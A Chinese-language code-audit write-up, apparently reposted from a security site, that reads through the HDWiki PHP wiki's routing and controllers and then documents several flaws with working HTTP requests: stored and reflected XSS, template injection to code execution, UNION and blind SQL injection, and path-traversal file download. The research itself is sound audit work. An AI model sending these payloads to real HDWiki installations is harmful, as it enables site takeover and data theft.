7

分两部分通读hdwiki系统,并挖掘漏洞。

 3 years ago
source link: https://www.freebuf.com/vuls/258705.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言

hdwiki这套系统分为两部分通读,它的代码逻辑非常有趣。一部分为程序路由,另一部分为控制器的初始化,为了代码思路清晰,笔者会在通读完这两部分后再挖掘漏洞。

下载地址:https://www.jb51.net/codes/11840.html

0x01 路由结构了解

我们老样子,整个故事从index.php开始说起。

Q7JJnuf.jpg!mobile

可以看到13行包含了./model/hdwiki.class.php文件,我们跟进,看一下是怎么玩的。

iM3ERbE.jpg!mobile

因为之前将常量统统提取,看到define关键字直接跳过。

在./model/hdwiki.class.php的第8行和第9行分别包含了/lib/string.class.php与/model/base.class.php文件,我们打开简单的看一下是怎么玩的。

IRJnmmQ.jpg!mobile

可以看到string.class.php文件只是包含了一个string类,这里我们将这个文件留下。

base.class.php文件的逻辑就比较乱了,一堆require引用,这里我们依次打开看一下。

367FJve.jpg!mobile

虽然包含的内容比较多,但都是类与方法,这里我们可以先将它们放到这里,等程序需要使用的时候我们再回来看。另外这里需要注意一下base.class.php文件的第13行是定义了一个base类的。

我们回到hdwiki.class.php文件,继续往下看看。

n6BfQj2.jpg!mobile

包含/model/base.class.php文件后定义了一个hdwiki类就没有下文了,那么我们回到Index.php文件看一下代码的后续操作是什么。

VzaAjy2.jpg!mobile

$hdwiki = new hdwiki();
$hdwiki->run();

这两句代码则为index.php的最后两句话,那么我们开始分析hdwiki这个类。

2q6jEbn.jpg!mobile

PHP在new一个类时,会自动调用构造方法,那么一个类的构造方法有两种,1:__construct魔术方法 2:方法名就是类名

这里我们会进入到hdwiki方法中,看到18行调用了init_request方法,我们看一下init_request方法是怎么运转的。

FBzqu22.jpg!mobile

在23-26行中,用来判断/data/install.lock是否存在,不存在则进行跳转,第25行中的exit可知,这里并不存在系统重装漏洞。

在28-36行中,我们可以看到,都是对$querystring进行一些操作。这里我们需要注意自己的逻辑不要出错。

我们在37行中看到,$this->get接收到的是$_SERVER[QUERY_STRING]的值,而不是$_GET的值。并且将它以“-”进行分隔。

38-40行的定义我们注意“substr($querystring, 0, 6) == 'admin_'”条件,从代码样子上来看应该是对后台模块的特殊处理。这里我们先放下不管他。

49-51行等同于没写,因为如果不存在$this->get[0]以及不存在$this->get[1]程序在42-48行中会强制给他们赋值。

53-55行终于调用了string类的haddslashes方法,我们看一下这个方法到底做了一些什么操作。

NN7ZVrq.jpg!mobile

将 $this->get($_SERVER[QUERY_STRING])、$this->post($_POST)、$_COOKIE都做了addslashes函数处理。这就意味着我们从外界输入危险数据会被转义。但没有 过滤 $_SESSION, $_REQUEST, $_SERVER,我们可能在代码审计中利用到它们,先记录一下。

在/model/hdwiki.class.php文件的57行,调用了$this->checksecurity()方法,我们看一下逻辑是怎么样的。

JnmqmeA.jpg!mobile

可以看到是黑名单过滤。如果匹配到关键字则进入到notfound方法,我们看一下notfound方法是怎么处理这些危险数据的。

ueiqMbU.jpg!mobile

我去,直接die掉程序。那么$this->get的过滤就非常严格。我们回到57行继续往下通读。

y2MvQbj.jpg!mobile

59-63行只是简单的unset变量操作。

这里我们回到hdwiki这个构造方法中,看一下load_control方法。

uM3ANja.jpg!mobile

我们重点去看80-83行的代码逻辑,因为该分支属于正常的控制器分支。$controlfile的值为 ./control/可控值.php文件,在第81行可以看到包含文件操作。我们这里看一下正常的控制器的逻辑是什么样的。

IVZ3Erf.jpg!mobile

可以看到程序的控制器的类名都定义为control,OK,我们回过头来继续通读,只是看一眼控制器而已。

qMryUjQ.jpg!mobile

可以看到包含之后就没有什么其他操作了。因为在index.php文件中的最后一行中有调用该类的run方法,我们读一下run方法看看是怎么玩的。

eUjYF3i.jpg!mobile

run方法的逻辑没有想象当中的那么复杂,其实第88行也就是看一下控制器的原因,该系统将所有控制器的名称都定位为control,所以才有new control这一行的操作。

$exemption后面有注释,是免检方法的标志(免检方法:不会查看当前用户是否有访问权限,都会无任何限制的去调用)。

在94-97行中,如果方法名称为hd,则不会进入到该分支,在107行中的if判断中即可知道,如果方法名称为hd,则不管当前用户权限如何,都会去调用hd方法。所以这里hd就是免检方法。

某个控制器的其他方法,则是根据代码逻辑来判断是否有权限访问限制,如果权限不够,那么禁止调用,如果权限够大,那么可以调用。

我们这里可以在./control/目录下定义heihu_577.php文件,内容为:

<?php class control extends base{
public function hd(){
echo 'helloworld';
}
}

调用结果:

M7B7viB.jpg!mobile

0x02 控制器结构了解

本次通读分为两次通读的原因,是基础控制器也有它自己本身的逻辑。

我们废话不多说,直接看一下普通的控制器。

N7fY7vq.jpg!mobile

我们可以看到class control extends base,继承了base类,这个类在我们之前了解框架结构时,有包含到base.class.php文件,我们看一下该文件是怎么玩的。

2mmqiiY.jpg!mobile

可以看到base类,定义了同名构造方法(function base)。我们看一下这个方法做了一些什么操作。

7veaYfr.jpg!mobile

可以看到基础控制器居然做出了这么多操作,没关系,我们去慢慢啃它。

首先35行调用了util类的getip方法,从名字上看好像是用来获取ip的,我们跟进看一下。

uUzENrM.jpg!mobile

使用client-ip头虽然可以进行伪造ip,但是后面又preg_match正则校验,所以这里不存在IP伪造漏洞。

我们下面来看一下base.class.php文件的第38行。

EbiUJni.jpg!mobile

$this->db实例化了一个hddb类,我们跟进这个类,看看是怎么玩的。

iQzEBfe.jpg!mobile

是处理SQL语句的类,我们回到base.class.php继续通读。

jAVzUnR.jpg!mobile

调用了init_cache,我们看一下它的处理结构。

ZZNJfif.jpg!mobile

可以看到106行实例化了cache类,而后续代码多次调用cache下的load方法,我们很有必要看一下cache::load方法到底做了一些什么操作。

eMBNVni.jpg!mobile

可以看到程序首先去拿到cache文件,如果文件不存在,那么就去数据库进行调用。

Cache文件的存放位置:/data/cache/缓存文件.php

在56行出现了未经过任何过滤带入数据库的操作,条件是$cachename可控,但是很遗憾,笔者没有找到可控的$cachename调用处。

我们回过头来继续通读。

QryMvqB.jpg!mobile

包含setting、advertisement......

Vr6zuqr.jpg!mobile

都是一些数组信息,我们需要知道的是,这些数组是从数据库中提取出来的。

E3EFV3e.jpg!mobile

我们可以看到将这些配置信息都放入了成员变量中。

我们最好不要对一个缓存来较劲,回过头来继续通读。

b6Br2y2.jpg!mobile

我们看一下init_user方法。

6BviEn7.jpg!mobile

这里调用了hgetcookie方法,我们看一下hgetcookie方法是用来做什么的。

IvQNRzB.jpg!mobile

只是用来得到cookie信息。

回到init_user方法中我们继续分析。

7jiAnuz.jpg!mobile

这里又调用了authcode方法,我们看一下该方法是怎么玩的。

vIvAJvy.jpg!mobile

类似于DZ论坛的加密方式,我们从这里可以知道,该程序是有authkey的。

我们回头继续看一下代码逻辑。

MfeI3aY.jpg!mobile

可以看到$uid是未经过任何处理,直接带入到数据库当中的。这里我们如果通过一些方式拿到authkey,那么这个点可以做权限维持。当然,authkey是存放在数据库当中的。如图:

AFRJZbN.jpg!mobile

但是遗憾在笔者并没有找到破解authkey的方法(前台注入另说)。

我们回过头来继续通读。

3uqEV3q.jpg!mobile

可以看到包含/model/doc.class.php并实例化,在271行调用了doc对象的get_unpubdoc方法。我们跟进。

AVRbUzz.jpg!mobile

涉及到网站业务逻辑的词条操作,使用SELECT进行查询。

我们回过头来继续审计。

BvEfAz.jpg!mobile

这里init_template方法是用来定义$this->view是template(View)类的实例化,template类我们限制先放到这里不说,到后面我们审计到模板注入时再拿过来细说。

回过头来继续审计。

qUVJbmY.jpg!mobile

init_global方法主要调用网站内的业务信息。这里主要关注在261-262行身上。

我们跟进writeLog方法,看一下该方法是如何定义的。

uiue2eq.jpg!mobile

可以看到登录后台的一系列操作都会被写入到日志当中,笔者这里日志被写入到了data/logs/202012_adminaccess.php文件中,如图:

mYfeu2r.jpg!mobile

我们回过头来继续通读。

Vnmq2yr.jpg!mobile

init_mail方法检测/data/mail.exists文件是否存在,如果存在则可以发送邮件等操作。

iEzyya3.jpg!mobile

init_admin是来判断当前的登陆状态,如果非管理员则跳转到管理员登录界面。

控制器结构了解完毕后我们开始挖掘漏洞。

0x03 后台存储型XSS漏洞

存储型XSS漏洞无非就是入库前可插入/修改成未被过滤的Js代码,在前端中显示出来。

在/control/admin_focus.php的doedit方法中。

VBfuaiZ.jpg!mobile

$summary与$image被string::hiconv函数进行处理,我们看一下该函数的定义。

ryUJ3mY.jpg!mobile

只要我们不被正则检测到即可直接return回来。

我们再看一下save_focus_content方法。

I3eaIn3.jpg!mobile

这里是插入js数据点。

模板文件:/data/view/admin_focus.tpl.php 将 image字段直接输出出来。

如图:

NVBfMfJ.jpg!mobile

构造HTTP包:

POST /index.php?admin_focus-edit HTTP/1.1
Host: hdwiki.com
Content-Length: 106
Accept: */*
Origin: http://hdwiki.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://hdwiki.com/index.php?admin_focus-edit-58
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk; hd_auth=993bRToK8dVihewqdijd2tsF5fc%2Bcc%2BW8%2FRFsM2MTMtfM%2FJflKkLfGvB2FkvbPl7JhocdUIHk%2B%2F7YqGs5Y9w; hd_querystring=admin_focus-edit-58
Connection: close
 
did=58&summary=12ℑ="><script>alert(1)</script>&displayorder=0&editsubmit=true&doctype=3

发送后访问http://xxx.com/index.php?admin_focus-focuslist进行回显

如图:

jQnIvaf.jpg!mobile

0x04 后台模板注入GetShell

这里我们回过头来看一下/lib/template.class.php文件的display方法。

7Ff67nr.jpg!mobile

这里直接调用到preg_replace的/e修饰符,preg_replace的第二个参数调用了stripvtag方法,我们看一下这个方法是怎么玩的。

ZNney22.jpg!mobile

这里只是进行了替换,并不影响我们getshell。

在后台有模板编辑功能,如图:

M3QrY3q.jpg!mobile

编辑插入代码:{eval phpinfo();}

YBjmIjn.jpg!mobile

结果:

MfQ3AbQ.jpg!mobile

0x05 前台SQL联合注入漏洞

在/control/edition.php文件中的docompare方法。

nm63a2j.jpg!mobile

按照程序作者的猜想应该是:eid只能接收两条数据,然后使用array_slice将这两条数据提取出来。

但,eid不一定只可以插入两条数据,我们可以给他指定第三条第四条第n条数据。

array_slice函数只会截取到前两条数据,这里我们可以将我们的注入代码往前放置,键为0或1往后放即可。

我们看一下get_edition方法的定义。

ueuIZjv.jpg!mobile

如果注入成功会进入到else分支,则该类型注入只需要闭合圆括号即可。

构造HTTP请求包:

POST /index.php?edition-compare HTTP/1.1
Host: www.hdwiki.com
Content-Type:application/x-www-form-urlencoded
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 159
 
eid[a]=1) UNION SELECT 1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456

如图:

Yvqyuyz.jpg!mobile

但是没有回显数据出来,是因为程序往后又做了判断。如图:

ZBNZZf6.jpg!mobile

因为union select 查询到的只是一条数据而已,这里取不到第二条数据。两次union select即可查询出两条数据。我们看一下did字段的存放位置。

FJBBRj2.jpg!mobile

可以看到did字段处于第三条数据。那么我们需要构造两次union all select(预防union select 默认过滤),将did相等就行了。如图:

ZrYz2yr.jpg!mobile

HTTP包:

POST /index.php?edition-compare HTTP/1.1
Host: hdwiki.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
 
eid[a]=1) UNION SELECT 1,2,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,3,888,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19#&eid[0]=123&eid[1]=456

0x06 后台SQL盲注漏洞

是个有意思的点,这里也记录一下。在/control/admin_theme.php文件中有dosaveblock方法,如图:

ria2aiA.jpg!mobile

第546行直接调用block_query方法,将过滤的POST请求直接放置到第一个参数中。

跟进block_query方法。

V7b6rqZ.jpg!mobile

这里$_POST的key是没有任何过滤的,那么我们可以在key中进行注入。

构造HTTP请求包:

rEBZVj2.jpg!mobile

成功延时注入。

0x07 任意文件下载漏洞

在/control/admin_db.php文件有dodownloadfile方法,如图:

UNzIVvI.jpg!mobile

本意是下载数据库,这里使用*号代替.号进行跳目录。

uQJRvau.jpg!mobile

成功任意文件下载。

0x08 前台POST反射型XSS

在/control/user.php文件的doinvite方法。

如图:

UFnmieE.jpg!mobile

我们必须想办法让$error置为true,才可以进入到下面分配的分支。

所以这里我们不要被preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/", $mail)所匹配得到才行,进入到757-758行的分支,ps直接输出到前台模板中没有任何XSS过滤,产生反射XSS漏洞。构造HTTP请求:

POST /index.php?user-invite HTTP/1.1
Host: hdwiki.com
Content-Length: 84
Cache-Control: max-age=0
Origin: http://hdwiki.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=vpshfq0gnjkf2ko4qdeoaqcjp5; hd_sid=ESCfTk; hd_auth=993bRToK8dVihewqdijd2tsF5fc%2Bcc%2BW8%2FRFsM2MTMtfM%2FJflKkLfGvB2FkvbPl7JhocdUIHk%2B%2F7YqGs5Y9w; hd_querystring=admin_db-downloadfile-%2A%2A%2F%2A%2A%2Frobots%2Atxt
Connection: close
 
toemails=1&ps=<script>alert(1);</script>&submit=%E5%8F%91%E9%80%81%E9%82%80%E8%AF%B7

RJNbMr.jpg!mobile

这种POST类型的反射型XSS,可以搭配CSRF打组合拳。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK